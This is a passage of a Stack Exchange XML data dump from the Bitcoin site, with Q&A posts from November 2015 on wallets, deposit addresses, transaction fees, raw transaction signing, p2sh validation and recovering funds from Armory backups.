LastActivityDate="2015-11-08T13:16:57.643" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="41291" PostTypeId="1" AcceptedAnswerId="41292" CreationDate="2015-11-08T15:31:55.170" Score="8" ViewCount="891" Body="&lt;p&gt;Does Bitcoin have legal status as a corporation? If so, what kind, and in what jurisdiction(s) is it registered?&lt;/p&gt;&#xA;" OwnerUserId="30228" LastEditorUserId="5406" LastEditDate="2015-11-08T16:04:37.280" LastActivityDate="2015-11-18T13:23:49.993" Title="Is Bitcoin a corporation?" Tags="|legal|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41292" PostTypeId="2" ParentId="41291" CreationDate="2015-11-08T15:45:46.860" Score="12" Body="&lt;p&gt;No. The whole point of Bitcoin is that it is decentralized and there is no single corporation behind it.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2015-11-08T15:45:46.860" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="41293" PostTypeId="1" CreationDate="2015-11-08T20:42:49.437" Score="4" ViewCount="807" Body="&lt;p&gt;My Android Bitcoin wallet changes the Public key (the one I give to others) after every transaction for security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I want to put up a Public key online for donations. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this mean that my one wallet has multiple public keys (and I keep all the bitcoins given to any address owned by me) or is it that my private key changes also, and all BC given to my old key gets sent into the void?&lt;/p&gt;&#xA;" OwnerUserId="30419" LastEditorUserId="5406" LastEditDate="2015-11-08T21:09:51.067" LastActivityDate="2015-11-08T21:09:51.067" Title="Can I have multiple working public keys per wallet?" Tags="|address|keypool|bitcoin-wallet-app|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41294" PostTypeId="2" ParentId="41293" CreationDate="2015-11-08T21:07:11.487" Score="4" Body="&lt;p&gt;Your wallet keeps all private and public keys it ever used indefinitely. You do not lose coins on old private keys when you give out new addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is just a privacy measure to give out new addresses for each transaction. It prevents your business partners from knowing about other transactions you have received and sent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All addresses can be used multiple times, so you can use any of your addresses as a donation address. It will continue to work even when you give out other addresses later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be sure to keep a backup of your wallet separate from your phone if you are going to manage significant funds with it.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2015-11-08T21:07:11.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41295" PostTypeId="1" CreationDate="2015-11-09T00:25:00.647" Score="-1" ViewCount="152" Body="&lt;p&gt;I visit so many faucets everyday and some gaming faucets like wonderlandcoin,playbitcoin,faucetbirds,robotcoingame and many more.I also visit some betting websites like satoshibet,777dice and many others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of them have a deposit bitcoin option to progress in game faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The website automatically generates a unique deposit address for me.&#xA;I am also planning to build a betting game website so I wanted to know that how to make that deposit address part for my website.&#xA;I actually don't know, how it works.&#xA;It may be a script or a address generated by some API.&#xA;HELP ME. PLEASE&#xA;EDIT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also want to know that how those websites triggers that the payment is sent by a particular user?&lt;/p&gt;&#xA;" OwnerUserId="30424" LastEditorUserId="30424" LastEditDate="2015-11-09T10:28:25.460" LastActivityDate="2015-11-10T01:41:11.777" Title="How do deposit bitcoin works?" Tags="|blockchain|api|faucets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41297" PostTypeId="2" ParentId="41295" CreationDate="2015-11-09T03:44:31.423" Score="0" Body="&lt;p&gt;You need to create a key pair with bitcoin-cli. Then you can display the public key as an address for users to deposit to. Specifically, use the commands getnewaddress and dumpprivkey. If you set up a unique key pair for each user, then you can easily see how much each user has deposited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some examples:&#xA;&lt;a href=&quot;https://bitcoin.org/en/developer-examples#simple-spending&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/developer-examples#simple-spending&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20687" LastEditorUserId="20687" LastEditDate="2015-11-10T01:41:11.777" LastActivityDate="2015-11-10T01:41:11.777" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41298" PostTypeId="1" CreationDate="2015-11-09T07:51:41.000" Score="3" ViewCount="677" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kS5pf.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kS5pf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have setup a bitcoin network using regtest mode and found that there is transaction fee charge on each sending Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible set the payment fee to zero for each transaction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We found that there is a setting in the conf file called &lt;code&gt;paytxfee&lt;/code&gt;. We have tried to uncomment it, but the client complains that its missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are using ver 0.11. How to get rid of the fee for each transaction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I enclosed is the error message too.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Pay an optional transaction fee every time you send bitcoins. &#xA;  Transactions with fees are more likely than free transactions to be&#xA;  included in generated blocks, so may be validated sooner.&lt;br&gt;&#xA;  paytxfee=0.00&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="30430" LastEditorUserId="5406" LastEditDate="2016-04-07T21:59:47.773" LastActivityDate="2019-01-18T23:39:39.073" Title="How can we run regtest without transaction fees" Tags="|transaction-fees|regtest|bitcoin.conf|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41300" PostTypeId="2" ParentId="41298" CreationDate="2015-11-09T10:11:49.183" Score="1" Body="&lt;p&gt;This is a duplicate - see also  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9971/does-the-bitcoin-qt-client-have-a-minimum-transaction-fee&quot;&gt;Does the Bitcoin Qt client have a minimum transaction fee?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin-QT will protect you from sending transactions that are very unlikely to ever be included in the blockchain.  If you really want to try sending with 0 transaction fee, you will need to use another wallet software or patch and recompile the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is highly recommended to include some transaction fees.  See estimates at &lt;a href=&quot;https://bitcoinfees.earn.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitcoinfees.earn.com/&lt;/a&gt; (former &quot;cointape&quot;) to figure out how much is needed.  Keep in mind that the estimates are very uncertain, they count it's like 90% probability that the transaction will go through within the estimated window - but then there is also a 10% probability that the estimate is off.  There have been times where transactions that should have gone through within hours have taken days or weeks to get through, though it's rare.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I often also consult &lt;a href=&quot;https://jochen-hoenicke.de/queue/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://jochen-hoenicke.de/queue/&lt;/a&gt; to see what's going on, particularly the &quot;mempool size in MB&quot;-graph may be relevant.&lt;/p&gt;&#xA;" OwnerUserId="28129" LastEditorUserId="28129" LastEditDate="2019-01-18T23:39:39.073" LastActivityDate="2019-01-18T23:39:39.073" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="41301" PostTypeId="1" CreationDate="2015-11-09T15:02:04.363" Score="2" ViewCount="126" Body="&lt;p&gt;I am writing a system that uses the Bitcoin Core JSON-RPC API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use case: user wants to withdraw some BTC to his BTC address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My application handles this request by the following logic:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Check if user balance is OK. &lt;/li&gt;&#xA;&lt;li&gt;Call Bitcoin API method 'sendfrom'. In&#xA;return I get the transaction ID.&lt;/li&gt;&#xA;&lt;li&gt;Store the 'Wihdraw' informations&#xA;with the transaction ID in the database.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now I want to make this error-safe, for example let's suppose that between points 2. and 3. the server crashes. Th 'Withdraw' info hasn't been saved to the DB. Next time user wants to withdraw some BTC it will allow they.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I make this error-safe? I have read that you can store a 'comment' in the Bitcoin Core, so an idea was to first create a unique comment, and store it in database with the withdraw address and amount, and set it status to UNDONE. Then submit this transaction to the Bitcoin Network and then set the status to DONE. In this way I can check if there are any UNDONE transactions in the DB and if so, verify if in my Bitcoin Core wallet there are no transactions with given comment. If there are not such transaction try to resubmit them.&#xA;The problem with this approach is, that to get a transaction with a given message is to loop through all transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any better way to make the Bitcoin-Transaction transaction-safe?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Best would be not to store any transaction info in database, but use the Bitcoin Core database itself. Maybe this way? But only way is to store transaction details in comment. Maybe use it to store deserialized objects?&lt;/p&gt;&#xA;" OwnerUserId="30436" LastActivityDate="2015-11-09T15:02:04.363" Title="Include Bitcoin-Transaction within database-Transaction" Tags="|transactions|bitcoind|bitcoin-core|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="41303" PostTypeId="1" AcceptedAnswerId="41306" CreationDate="2015-11-09T19:15:01.263" Score="4" ViewCount="1470" Body="&lt;p&gt;I have an armory offline installation on a USB stick with Ubuntu. From this wallet I have a paper backup. To access my funds I tried to install Armory on Mac OS and Windows 7 with no luck. The best result was on the mac. Bitcoin QT is running and is completely synchronized. But if I start Armory it stays at status &quot;Organizing Blockchain&quot; forever. I just ordered a Trezor to get around this problem in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question: How can I transfer my coins from the armory cold-storage to a new address without an armory online installation?  &lt;/p&gt;&#xA;" OwnerUserId="30439" LastEditorUserId="29646" LastEditDate="2015-11-09T19:27:10.777" LastActivityDate="2017-01-24T15:58:51.120" Title="Transfer coins from Armory paper backup without Armory" Tags="|armory|coldstorage|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41304" PostTypeId="1" CreationDate="2015-11-09T20:11:17.107" Score="2" ViewCount="424" Body="&lt;p&gt;I was just wondering when you're at the double hashing part of making a transaction do you need to specify the scriptpubsig like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01000000&#xA;01&#xA;1c615595ac93432de87bcc519f2ddffce1a5f88bd4ec3e586c56e05b35e13767&#xA;01000000&#xA;00&#xA;ffffffff&#xA;02&#xA;6400000000000000&#xA;19&#xA;76a9143b65057d8846147349a816f41a6c5cc1e706a02b88ac&#xA;a086010000000000&#xA;19&#xA;76a914f323ec06f263e6ba625de2cf27f1495294065b8088ac&#xA;00000000&#xA;01000000   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or does it need to be like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01000000 &#xA;01&#xA;eccf7e3034189b851985d871f91384b8ee357cd47c3024736e5676eb2debb3f2 &#xA;01000000  &#xA;19 &#xA;76a914010966776006953d5567439e5e39f86a0d273bee88ac  &#xA;ffffffff &#xA;01 &#xA;605af40500000000 &#xA;19     &#xA;76a914097072524438d003d23a2f23edb65aae1bb3e46988ac &#xA;00000000  &#xA;01000000   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;main differences:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example 1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 1c615595ac93432de87bcc519f2ddffce1a5f88bd4ec3e586c56e05b35e13767 //tx of input&#xA; 01000000&#xA; 00 //script len&#xA; //no script&#xA; ffffffff //requence&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;example 2&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;eccf7e3034189b851985d871f91384b8ee357cd47c3024736e5676eb2debb3f2  //tx of input&#xA;01000000  &#xA;19 //script len&#xA;76a914010966776006953d5567439e5e39f86a0d273bee88ac   //script&#xA;ffffffff //sequence&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30440" LastEditorUserId="30440" LastEditDate="2015-11-09T20:24:21.727" LastActivityDate="2015-11-09T20:24:21.727" Title="Bitcoin raw transaction hash signing" Tags="|raw-transaction|raw-data|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41305" PostTypeId="2" ParentId="7491" CreationDate="2015-11-09T23:44:45.653" Score="3" Body="&lt;p&gt;A good article on keypair generation&#xA;&lt;a href=&quot;http://www.swansontec.com/bitcoin-dice.html&quot; rel=&quot;nofollow&quot;&gt;http://www.swansontec.com/bitcoin-dice.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, you can generate your private key using dice, and use a computer to derive an address from that private key.&lt;/p&gt;&#xA;" OwnerUserId="30446" LastEditorUserId="2306" LastEditDate="2015-11-10T18:48:14.910" LastActivityDate="2015-11-10T18:48:14.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41306" PostTypeId="2" ParentId="41303" CreationDate="2015-11-10T00:39:47.897" Score="4" Body="&lt;p&gt;Here it is step-by-step&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Run armory in offline mode (simply run &lt;code&gt;armory --offline&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Import the wallet into armory if you haven't already. (Import wallet, etc) (you probably don't need to do this if you have it on USB, just run that instance)&lt;/li&gt;&#xA;&lt;li&gt;Click on the wallet and click &quot;Backup This Wallet&quot; and enter the password.&lt;/li&gt;&#xA;&lt;li&gt;Select &quot;Export Key Lists&quot; and click the button at the bottom&lt;/li&gt;&#xA;&lt;li&gt;Check &quot;Private Key (Plain Base58)&quot; from the checklist and nothing else.&lt;/li&gt;&#xA;&lt;li&gt;Select &quot;Omit spaces in key data&quot;, as these may cause an &quot;Invalid private key encoding&quot; during import&lt;/li&gt;&#xA;&lt;li&gt;Take each private key listed in the window and import them into some other program (this might take a while)&lt;/li&gt;&#xA;&lt;li&gt;Transfer the funds from the private key to a new address.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="23123" LastEditorUserId="45378" LastEditDate="2017-01-24T15:58:51.120" LastActivityDate="2017-01-24T15:58:51.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41307" PostTypeId="1" AcceptedAnswerId="41309" CreationDate="2015-11-10T03:49:00.800" Score="6" ViewCount="444" Body="&lt;p&gt;Say someone holds 100,000 btc.  Over time, this address has been spammed with dust by numerous parties.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the oldest funds come from the previous large transaction.  If the dust is, say 0.0000101 btc, can someone send this exact amount elsewhere and get rid of the dust?  Or will the client get the oldest inputs and spend the dust from there?&lt;/p&gt;&#xA;" OwnerUserId="890" LastEditorUserId="5406" LastEditDate="2017-09-02T18:04:02.947" LastActivityDate="2017-09-02T18:04:02.947" Title="Which inputs will be spent?" Tags="|bitcoin-core|dust|coin-age-priority|coin-selection|coin-control|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="41308" PostTypeId="2" ParentId="41307" CreationDate="2015-11-10T03:52:20.407" Score="2" Body="&lt;p&gt;Depends on the software. You can construct a transaction that spends whichever utxos you want, so yes, you can send someone the exact amount of the sum of dust transactions. As for the transaction fee, the network may or may not relay, but even there, you may be able to get a friendly miner to mine it.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-11-10T03:52:20.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41309" PostTypeId="2" ParentId="41307" CreationDate="2015-11-10T05:16:34.410" Score="5" Body="&lt;p&gt;Bitcoin Core doesn't use an oldest-first selection but a more complex solver, it will probably end up spending outputs you don't want to in this particular case. You can do manual selection of the outputs you want to spend using the Coin Control section of the advanced GUI, which will let you ignore the dust if you don't want to spend it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yUXEX.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yUXEX.png&quot; alt=&quot;Bitcoin Core Output Selection&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-11-10T05:16:34.410" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="41310" PostTypeId="2" ParentId="41287" CreationDate="2015-11-10T05:43:36.533" Score="0" Body="&lt;p&gt;You can either fund your account with btc directly, or if you must deposit usd, you can wire the money (with a hefty fee). &lt;a href=&quot;http://support.btc-e.com/index.php?/Knowledgebase/Article/View/204/26/deposits&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://support.btc-e.com/index.php?/Knowledgebase/Article/View/204/26/deposits&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend buying your btc at a dealer like coinbase.com, which you can setup to withdrawal  from your bank. Then transfer the btc to btc-e to trade. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: arbitrage with the same &quot;pool&quot; of money is not very easy. Like you say, you have to withdrawal usd at some point to send it to another exchange which could take days to clear. Arbitrage is done with two or more &quot;pools&quot; of money, one on each exchange. You don't move the usd back and forth (you can move the btc much more easily, but that's only arbitrage one way). The gains from arb'ing are a net sum value of all pools of money. Or you can take short positions on the higher priced exchange and long positions on the lower priced exchange, hoping they meet in the middle. &lt;/p&gt;&#xA;" OwnerUserId="30451" LastEditorUserId="75001" LastEditDate="2018-04-06T03:31:53.893" LastActivityDate="2018-04-06T03:31:53.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41311" PostTypeId="2" ParentId="41260" CreationDate="2015-11-10T06:00:55.637" Score="0" Body="&lt;p&gt;Here is a great browser extention that finds a bitcoin address anywhere on the page including in the head. It can track your browsing time on each website with a btc address and then you can designate tip amounts to be paid to that site every certain period of time by your history. &#xA;&lt;a href=&quot;http://protip.is/&quot; rel=&quot;nofollow&quot;&gt;http://protip.is/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30451" LastActivityDate="2015-11-10T06:00:55.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41313" PostTypeId="1" AcceptedAnswerId="41314" CreationDate="2015-11-10T08:24:18.003" Score="3" ViewCount="5072" Body="&lt;p&gt;I'm new to Bitcoin. I'm using Airbitz on my phone and I need to find my wallet address.&lt;/p&gt;&#xA;" OwnerUserId="30455" LastEditorUserId="5406" LastEditDate="2015-11-10T09:12:43.527" LastActivityDate="2016-11-26T23:55:20.203" Title="How can I find my Bitcoin address on Airbitz?" Tags="|wallet|e-wallet|airbitz|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41314" PostTypeId="2" ParentId="41313" CreationDate="2015-11-10T14:06:22.680" Score="2" Body="&lt;p&gt;If you click in the top left that brings up the menu, select &quot;Request&quot;. You will then be shown a screen with a QR code, your bitcoin address is below that QR.&lt;/p&gt;&#xA;" OwnerUserId="29646" LastActivityDate="2015-11-10T14:06:22.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41315" PostTypeId="1" AcceptedAnswerId="44609" CreationDate="2015-11-10T14:26:15.347" Score="8" ViewCount="356" Body="&lt;p&gt;&lt;a href=&quot;https://forum.bitcoin.com/ama-ask-me-anything/i-m-mike-hearn-creator-of-lighthouse-bitcoinj-and-bitcoin-xt-ask-me-anything-t2207.html&quot;&gt;Mike Hearn talked about a patch he applied to BitcoinXT recently in his AMA&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I posted a &lt;a href=&quot;https://github.com/bitcoinxt/bitcoinxt/pull/91&quot;&gt;patch&lt;/a&gt; last week that makes XT download blocks as lists of hashes instead of duplicating the transaction data, so a full 1mb block would drop to about ~70 kilobytes, in theory, if you were online for the whole time since the last block. However, the patch needs more work and testing before it can be shipped to users.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If I understand correctly:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Blocks themselves would stay exactly the same.&lt;/li&gt;&#xA;&lt;li&gt;Transactions only need to be downloaded once (instead of once or twice)&lt;/li&gt;&#xA;&lt;li&gt;Each node reassembles the block from this &quot;ingredient list&quot;&lt;/li&gt;&#xA;&lt;li&gt;Missing transactions can be requested from peers by transaction hash.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This would reduce the total traffic to transfer a full block roughly from 2MB to 1.07MB. This seems like an obvious improvement of the current status quo which could be introduced cheaply, especially reducing the network load during the peak demand right after a block is found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any drawbacks that I'm missing?&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-11-10T15:51:00.627" LastActivityDate="2016-06-03T08:26:10.127" Title="Are there drawbacks to the Thin Block patch?" Tags="|network|bitcoin-core-development|bitcoin-xt|block-propagation-time|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41316" PostTypeId="1" AcceptedAnswerId="41328" CreationDate="2015-11-10T14:27:28.607" Score="5" ViewCount="264" Body="&lt;p&gt;I'm attempting to validate a p2sh transaction from the live bitcoin blockchain, however it is failing the checksig. I am using &lt;a href=&quot;https://github.com/vbuterin/pybitcointools&quot; rel=&quot;nofollow&quot;&gt;pybitcointools&lt;/a&gt; for the checksig and I have successfully validated lots of other txhash/pubkey/signature sets so I don't think the problem lies in the ECDSA library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I must be evaluating p2sh incorrectly. &lt;strong&gt;Please could someone tell me where I am going wrong:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tx hash &lt;a href=&quot;https://blockchain.info/tx/7edb32d4ffd7a385b763c7a8e56b6358bcd729e747290624e18acdbe6209fc45&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;7edb32d4ffd7a385b763c7a8e56b6358bcd729e747290624e18acdbe6209fc45&lt;/code&gt;&lt;/a&gt; spends txout with index 0 from tx hash &lt;a href=&quot;https://blockchain.info/tx/40eee3ae1760e3a8532263678cdf64569e6ad06abc133af64f735e52562bccc8&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;40eee3ae1760e3a8532263678cdf64569e6ad06abc133af64f735e52562bccc8&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I evaluate the scriptsig:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_FALSE&#xA;OP_PUSHDATA0(72)&#xA;3045022100ad0851c69dd756b45190b5a8e97cb4ac3c2b0fa2f2aae23aed6ca97ab33bf88302200b248593abc1259512793e7dea61036c601775ebb23640a0120b0dba2c34b79001&#xA;OP_PUSHDATA0(69)&#xA;5141042f90074d7a5bf30c72cf3a8dfd1381bdbd30407010e878f3a11269d5f74a58788505cdca22ea6eab7cfb40dc0e07aba200424ab0d79122a653ad0c7ec9896bdf51ae&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This leaves the stack like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0 - 00&#xA;1 - 3045022100ad0851c69dd756b45190b5a8e97cb4ac3c2b0fa2f2aae23aed6ca97ab33bf88302200b248593abc1259512793e7dea61036c601775ebb23640a0120b0dba2c34b79001&#xA;2 - 5141042f90074d7a5bf30c72cf3a8dfd1381bdbd30407010e878f3a11269d5f74a58788505cdca22ea6eab7cfb40dc0e07aba200424ab0d79122a653ad0c7ec9896bdf51ae    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I back this up as &lt;code&gt;stack_copy&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I evaluate the scriptpubkey:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_HASH160&#xA;OP_PUSHDATA0(20)&#xA;e9c3dd0c07aac76179ebc76a6c78d4d67c6c160a&#xA;OP_EQUAL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This passes fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally I evaluate the p2sh - I restore &lt;code&gt;stack_copy&lt;/code&gt; and pop the last item (2) off the stack. I deserialize it to get the following script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_TRUE&#xA;OP_PUSHDATA0(65)&#xA;042f90074d7a5bf30c72cf3a8dfd1381bdbd30407010e878f3a11269d5f74a58788505cdca22ea6eab7cfb40dc0e07aba200424ab0d79122a653ad0c7ec9896bdf&#xA;OP_TRUE&#xA;OP_CHECKMULTISIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then evaluate this using &lt;code&gt;stack_copy&lt;/code&gt; (without element 2 which has just been popped). The data for the checksig evaluation is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;serial tx: 0100000001c8cc2b56525e734ff63a13bc6ad06a9e5664df8c67632253a8e36017aee3ee4000000000455141042f90074d7a5bf30c72cf3a8dfd1381bdbd30407010e878f3a11269d5f74a58788505cdca22ea6eab7cfb40dc0e07aba200424ab0d79122a653ad0c7ec9896bdf51aefeffffff0120f40e00000000001976a9141d30342095961d951d306845ef98ac08474b36a088ac0000000001000000&#xA;txhash: 8fcf56ee75816930fb141fdc19b2aa1bc721b124d2a76d5f0c1be17bcd21ccdc&#xA;pubkey: 042f90074d7a5bf30c72cf3a8dfd1381bdbd30407010e878f3a11269d5f74a58788505cdca22ea6eab7cfb40dc0e07aba200424ab0d79122a653ad0c7ec9896bdf&#xA;signature: 3045022100ad0851c69dd756b45190b5a8e97cb4ac3c2b0fa2f2aae23aed6ca97ab33bf88302200b248593abc1259512793e7dea61036c601775ebb23640a0120b0dba2c34b790&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However this is failing! Let me know if you need more information and I can provide it.&lt;/p&gt;&#xA;" OwnerUserId="2116" LastEditorUserId="2116" LastEditDate="2015-11-11T00:48:36.117" LastActivityDate="2015-11-11T12:43:45.747" Title="p2sh checksig failing" Tags="|p2sh|checksig|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41317" PostTypeId="1" CreationDate="2015-11-10T17:58:19.537" Score="10" ViewCount="1890" Body="&lt;p&gt;Some digital currencies, like &lt;a href=&quot;https://nubits.com/&quot;&gt;NuBits&lt;/a&gt;, declare that they peg their value to dollar or other fiat currency.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;How does this work?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Under what conditions this can work?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Can this be distributed, or does there have to be trusted parties who are always willing to exchange NuBits back to dollar and vice versa?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Are there other such digital currencies? I understand BitGold value comes from real gold bars which match to tokens on blockchain, which is little different I believe.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5464" LastEditorUserId="5406" LastEditDate="2015-12-10T00:57:05.190" LastActivityDate="2016-01-01T20:37:46.693" Title="Digital currencies pegged to dollar value" Tags="|exchange-rate|alternatives|price-volatility|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41318" PostTypeId="1" CreationDate="2015-11-10T19:03:50.967" Score="2" ViewCount="491" Body="&lt;p&gt;I recently downloaded Bitcoin Core for OSX, sent a payment to my wallet address, then waited for the client to complete a sync. About 2 days later and w/ only 8 weeks to go, the client froze. Upon restart, it only gets to &quot;Activating Best Chain&quot; and won't open fully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen related answers to this question in the forum, but I think they're all for Windows machines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do have my wallet encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to export my wallet to another client, but apparently am not using the correct inputs in console. Any help much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cheers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...and when I try to run:&#xA;getwalletpassword &quot;pwd&quot; 600 &#xA;the application crashes and I have to restart. So it doesn't look like the standard way to get my privkey out will work.&lt;/p&gt;&#xA;" OwnerUserId="30466" LastEditorUserId="30466" LastEditDate="2015-11-11T09:16:57.063" LastActivityDate="2016-01-07T18:13:06.713" Title="OSX Bitcoin Core frozen on login while &quot;Activating Best Chain&quot;" Tags="|wallet|private-key-export|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
